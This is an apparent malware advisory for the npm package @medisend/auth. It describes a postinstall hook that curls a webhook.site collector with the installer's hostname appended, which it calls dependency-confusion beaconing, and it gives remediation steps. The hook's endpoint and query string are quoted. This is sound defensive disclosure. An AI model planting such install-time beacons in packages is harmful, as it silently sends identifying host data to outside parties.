MAL-2026-14421

Summary: Malicious code in @medisend/auth (npm)

Details: Source: amazon-inspector (8363fc41a00733469f69df79f45ecebd190ac85d16d8cbdd48a61fe5bfb67003) package.json declares a postinstall lifecycle script that runs `curl` against https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97 with the installer's hostname appended as a query parameter (`?pkg=medisend-auth-$(hostname)`). On `npm install`, this fires automatically and transmits an installer-identifying host indicator to a third-party anonymous collector endpoint controlled by whoever holds the webhook.site token. The @medisend/* scope and the package name pattern are consistent with dependency-confusion beaconing against an internal namespace. Source: ghsa-malware (926c7a6fd9201c1d2d2b6fa2becc8ceb1dfd166276a6e1f6c96211c1b066f22d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
